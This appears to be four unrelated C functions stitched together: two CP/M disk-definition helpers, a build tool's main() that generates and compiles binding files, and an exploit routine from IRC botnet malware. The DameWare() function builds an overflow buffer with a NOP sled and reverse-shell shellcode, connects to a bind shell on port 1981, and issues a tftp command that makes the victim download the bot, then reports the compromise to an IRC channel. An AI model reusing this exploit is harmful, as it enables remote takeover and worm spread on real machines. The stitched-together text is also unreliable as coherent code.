void get_floppy_diskdef(FILE *fp) { enum fmts fmt; enum medias media = mediaSize_m == 5 ? F525 : F8; enum densities dens = doubleDensity_m ? DD : SD; enum sides sid = numSides_m > 1 ? DS : SS; enum tpis tpi = mediaSize_m == 5 && numTracks_m > 40 ? DT : ST; if (media == F8) { fmt = Z47; } else { fmt = Z37; } if (doubleDensity_m && secSize_m == 512 && numSectors_m == 9) { fmt = MMS; } // can't tell M47 from Z47X... just use Z47X... // except by interlaced? if (media == F8 && secSize_m == 1024 && numSectors_m == 16) { fmt = interlaced_m ? Z47X : M47; } if (secSize_m == 1024) { fmt = media == F8 ? Z47X : Z37X; } struct dpb *dpb = &floppy_dpbs[media][fmt][dens][sid][tpi]; float os = check_os(fp, dpb, 0L); printf("diskdef\n" " seclen %d\n tracks %d\n sectrk %d\n" " blocksize %d\n maxdir %d\n skew 0\n" " boottrk %d\n os %g\nend\n", mediaSsz, numTracks_m * numSides_m, dpb->spt / (secSize_m / 128), (1 << dpb->bsh) * 128, dpb->drm + 1, dpb->restrk, os); }
void get_sasi_diskdef(FILE *fp, void *ptab, int partno) { struct sasi_fdisk *fdisk = (struct sasi_fdisk *)ptab; if (0) { int x; for (x = 0; x < fdisk->nparts; ++x) { int y = (fdisk->parts[x][0] << 16) | (fdisk->parts[x][1] << 8) | fdisk->parts[x][2]; printf("%d: %d\n", x, y); } for (x = 0; x < fdisk->nparts; ++x) { printf("%d dpb: %d %d %d %d %d %d %02x%02x %d %d\n", x, fdisk->dpbs[x].spt, fdisk->dpbs[x].bsh, fdisk->dpbs[x].bsm, fdisk->dpbs[x].exm, fdisk->dpbs[x].dsm, fdisk->dpbs[x].drm, fdisk->dpbs[x].alv0, fdisk->dpbs[x].alv1, fdisk->dpbs[x].cks, fdisk->dpbs[x].restrk); } } if (partno >= fdisk->nparts) { return; } int offset = (fdisk->parts[partno][0] << 16) | (fdisk->parts[partno][1] << 8) | fdisk->parts[partno][2]; int nextoff = (fdisk->parts[partno + 1][0] << 16) | (fdisk->parts[partno + 1][1] << 8) | fdisk->parts[partno + 1][2]; int sxf = mediaSsz / 128; if (nextoff == 0) { nextoff = (mediaCyl * mediaHead * mediaSpt) * sxf; } float os = check_os(fp, &fdisk->dpbs[partno], offset); printf("diskdef\n" " seclen %d\n tracks %d\n sectrk %d\n" " blocksize %d\n maxdir %d\n skew 0\n" " boottrk %d\n offset %d\n os %g\nend\n", mediaSsz, (nextoff - offset) / fdisk->dpbs[partno].spt, fdisk->dpbs[partno].spt / sxf, (1 << fdisk->dpbs[partno].bsh) * 128, fdisk->dpbs[partno].drm + 1, fdisk->dpbs[partno].restrk, offset * 128, os); }
BOOL DameWare(EXINFO exinfo) { char buffer[IRCLINE], szRecvBuf[5096], szReqBuf[5096]; int os_sp=0, os_ver=check_os((char*)exinfo.ip,exinfo.port,&os_sp); BOOL bRet = FALSE; WSADATA WSAData; if (fWSAStartup(MAKEWORD(1,1), &WSAData)!=0) return FALSE; // Build a buffer with the shellcode memcpy(szReqBuf,"\x10\x27",2); memset(szReqBuf+0xc4+9,0x90,500); *(unsigned long*)&szReqBuf[516] = target_os[os_ver].sp[os_sp].eip; memcpy(szReqBuf+520, phatty_rshell, strlen(phatty_rshell) ); memcpy(szReqBuf+1042, "neTmaNiac", 9 ); memcpy(szReqBuf+0x5b4+0x24, "netmaniac was here", 18 ); memcpy(szReqBuf+0x5b4+0x128, "12/12/04 13:13:13", 17 ); memcpy(szReqBuf+0x5b4+0x538, "netninjaz_place", 15 ); memcpy(szReqBuf+0x5b4+0x5b4+0x88, "131.131.131.131", 16 ); memcpy(szReqBuf+0x5b4+0x5b4+0x394, "3.72.0.0", strlen("3.72.0.0") ); // Connect to the server SOCKET sSock; if((sSock = fsocket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) != INVALID_SOCKET) { SOCKADDR_IN ssin; memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_addr.s_addr = finet_addr(exinfo.ip); ssin.sin_port = fhtons((unsigned short)exinfo.port); if(fconnect(sSock, (LPSOCKADDR)&ssin, sizeof(ssin)) != SOCKET_ERROR) { _snprintf(buffer, sizeof(buffer), "[%s]: Connected to %s\r\n", exploit[exinfo.exploit].name, GetIP(sSock)); irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice); TIMEVAL timeout; timeout.tv_sec = 5; timeout.tv_usec = 0; fd_set fd; FD_ZERO(&fd); FD_SET(sSock, &fd); if (fselect(0, &fd, NULL, NULL, &timeout) > 0) { memset(szRecvBuf, 0, sizeof(szRecvBuf)); if (frecv(sSock,(char *)szRecvBuf,sizeof(szRecvBuf),0) > 0) { memset(szRecvBuf,0,sizeof(szRecvBuf)); Sleep(500); if (fsend(sSock,(char *)send_buff,strlen((char *)send_buff),0) > 0) { irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice); Sleep(2000); if (frecv(sSock,(char *)szRecvBuf, sizeof(szRecvBuf),0) > 0) { irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice); Sleep(500); if(fsend(sSock,(char *)szReqBuf,strlen((char *)szReqBuf),0) > 0) { Sleep(10000); fclosesocket(sSock); memset(&ssin, 0, sizeof(ssin)); ssin.sin_family = AF_INET; ssin.sin_addr.s_addr = finet_addr(exinfo.ip); ssin.sin_port = fhtons((unsigned short)1981); if(fconnect(sSock, (LPSOCKADDR)&ssin, sizeof(ssin)) != SOCKET_ERROR) { char cmd_buff[400]; _snprintf(cmd_buff,sizeof(cmd_buff), "tftp -i %s get %s\n" "%s\n", GetIP(exinfo.sock),filename, filename); if(frecv(exinfo.sock, szRecvBuf, sizeof(szRecvBuf), 0) > 0) { Sleep(500); if(fsend(sSock,(char*)cmd_buff, strlen(cmd_buff),0) > 0) { fclosesocket(sSock); _snprintf(buffer, sizeof(buffer), "[%s]: Exploiting IP: %s.", exploit[exinfo.exploit].name, exinfo.ip); if (!exinfo.silent) irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice); addlog(buffer); bRet = TRUE; } } } } } } } } } fclosesocket(sSock); } return (bRet); }
int main( int argc, char *argv[]) { pwr_tFileName filespec; pwr_tFileName outfile; pwr_tFileName found_file; merge_eMtype mtype; FILE *fp; FILE *outfp; char line[200]; int sts; char mtab[1000][32]; int mtabcnt = 0; int i; int idx; pwr_tCmd cmd; pwr_tFileName incdir; pwr_tFileName cfile; pwr_tFileName ofile; char pwre_cc[250]; char pwre_cxx[250]; char pwre_ar[250]; char *s; int arg_keep = 0; int arg_verbose = 0; int in_if = 0; #if defined OS_LINUX char os[] = "OS_LINUX"; char dos[] = "-DOS_LINUX -DOS_POSIX"; char cflags[] = ""; #elif defined OS_MACOS char os[] = "OS_MACOS"; char dos[] = "-DOS_MACOS -DOS_POSIX"; char cflags[] = ""; #elif defined OS_FREEBSD char os[] = "OS_FREEBSD"; char dos[] = "-DOS_FREEBSD -DOS_POSIX"; char cflags[] = ""; #elif defined OS_OPENBSD char os[] = "OS_OPENBSD"; char dos[] = "-DOS_OPENBSD -DOS_POSIX"; char cflags[] = ""; #elif defined OS_CYGWIN char os[] = "OS_CYGWIN"; char dos[] = "-DOS_CYGWIN -DOS_POSIX"; char cflags[] = "-I/usr/include/tirpc"; #endif if ( argc < 4) { usage(); exit(1); } if ( (s = getenv( "pwre_cc"))) strncpy( pwre_cc, s, sizeof(pwre_cc)); else strncpy( pwre_cc, "gcc", sizeof(pwre_cc)); if ( (s = getenv( "pwre_cxx"))) strncpy( pwre_cxx, s, sizeof(pwre_cxx)); else strncpy( pwre_cxx, "g++", sizeof(pwre_cxx)); if ( (s = getenv( "pwre_ar"))) strncpy( pwre_ar, s, sizeof(pwre_ar)); else strncpy( pwre_ar, "ar", sizeof(pwre_ar)); idx = 0; for ( i = 1; i < argc; i++) { if ( strcmp( argv[i], "-k") == 0) arg_keep = 1; else if ( strcmp( argv[i], "-v") == 0) arg_verbose = 1; else { switch ( idx) { case 0: if ( strcmp( argv[i], "io_base") == 0) mtype = merge_eMtype_IoBase; else if ( strcmp( argv[i], "wb_base") == 0) mtype = merge_eMtype_WbBase; else if ( strcmp( argv[i], "xtt_base") == 0) mtype = merge_eMtype_XttBase; else { usage(); exit(1); } idx++; break; case 1: strncpy( filespec, argv[i], sizeof(filespec)); idx++; break; case 2: strncpy( outfile, argv[i], sizeof(filespec)); idx++; break; } } } sts = dcli_search_file( filespec, found_file, DCLI_DIR_SEARCH_INIT); while ( ODD(sts)) { fp = fopen( found_file, "r"); if ( !fp) { printf( "Unable to open file %s\n", found_file); exit(1); } while( dcli_read_line( line, sizeof(line), fp)) { dcli_trim( line, line); if ( strncmp( line, "#if" , 3) == 0) { in_if = ! check_os( &line[4], os); continue; } else if ( in_if) { if ( strncmp( line, "#endif", 6) == 0) { if ( in_if) in_if = 0; continue; } continue; } else if ( line[0] == 0 || line[0] == '#') continue; strncpy( mtab[mtabcnt++], line, sizeof(mtab[0])); if ( mtabcnt > (int) sizeof(mtab)/sizeof(mtab[0]) - 1) break; } fclose( fp); sts = dcli_search_file( filespec, found_file, DCLI_DIR_SEARCH_NEXT); } dcli_search_file( filespec, found_file, DCLI_DIR_SEARCH_END); switch ( mtype) { case merge_eMtype_IoBase: { strncpy( cfile, "/tmp/rt_io_base_methods.c", sizeof(cfile)); strncpy( ofile, "/tmp/rt_io_base_methods.o", sizeof(cfile)); outfp = fopen( cfile, "w"); if ( !outfp) { printf( "Unable to open file %s\n", outfile); exit(1); } fprintf( outfp, "#include \"rt_io_base.h\"\n"); for ( i = 0; i < mtabcnt; i++) { fprintf( outfp, "pwr_dImport pwr_BindIoMethods(%s);\n", mtab[i]); } fprintf( outfp, "pwr_BindIoClasses(Base) = {\n"); for ( i = 0; i < mtabcnt; i++) { fprintf( outfp, " pwr_BindIoClass(%s),\n", mtab[i]); } fprintf( outfp, " pwr_NullClass};\n"); fclose( outfp); break; } case merge_eMtype_WbBase: { strncpy( cfile, "/tmp/wb_i_base_methods.cpp", sizeof(cfile)); strncpy( ofile, "/tmp/wb_i_base_methods.o", sizeof(cfile)); outfp = fopen( cfile, "w"); if ( !outfp) { printf( "Unable to open file %s\n", outfile); exit(1); } fprintf( outfp, "#include \"wb_pwrs.h\"\n"); for ( i = 0; i < mtabcnt; i++) { fprintf( outfp, "pwr_dImport pwr_BindMethods(%s);\n", mtab[i]); } fprintf( outfp, "pwr_BindClasses(Base) = {\n"); for ( i = 0; i < mtabcnt; i++) { fprintf( outfp, " pwr_BindClass(%s),\n", mtab[i]); } fprintf( outfp, " pwr_NullClass};\n"); fclose( outfp); break; } case merge_eMtype_XttBase: { strncpy( cfile, "/tmp/xtt_i_methods.c", sizeof(cfile)); strncpy( ofile, "/tmp/xtt_i_methods.o", sizeof(cfile)); outfp = fopen( cfile, "w"); if ( !outfp) { printf( "Unable to open file %s\n", outfile); exit(1); } fprintf( outfp, "#include \"xtt_menu.h\"\n"); for ( i = 0; i < mtabcnt; i++) { fprintf( outfp, "pwr_dImport pwr_BindXttMethods(%s);\n", mtab[i]); } fprintf( outfp, "pwr_BindXttClasses(Base) = {\n"); for ( i = 0; i < mtabcnt; i++) { fprintf( outfp, " pwr_BindXttClass(%s),\n", mtab[i]); } fprintf( outfp, " pwr_NullClass};\n"); fclose( outfp); break; } } dcli_translate_filename( incdir, "$pwr_einc"); switch ( mtype) { case merge_eMtype_WbBase: snprintf( cmd, sizeof(cmd), "%s -c %s -I%s %s -o %s %s", pwre_cxx, cflags, incdir, dos, ofile, cfile); break; default: snprintf( cmd, sizeof(cmd), "%s -c %s -I%s %s -o %s %s", pwre_cc, cflags, incdir, dos, ofile, cfile); } if ( arg_verbose) printf( "co_merge: %s\n", cmd); system( cmd); snprintf( cmd, sizeof(cmd), "%s r %s %s", pwre_ar, outfile, ofile); if ( arg_verbose) printf( "co_merge: %s\n", cmd); system(cmd); snprintf( cmd, sizeof(cmd), "rm %s", ofile); system(cmd); if ( !arg_keep) { snprintf( cmd, sizeof(cmd), "rm %s", cfile); system(cmd); } return 1; }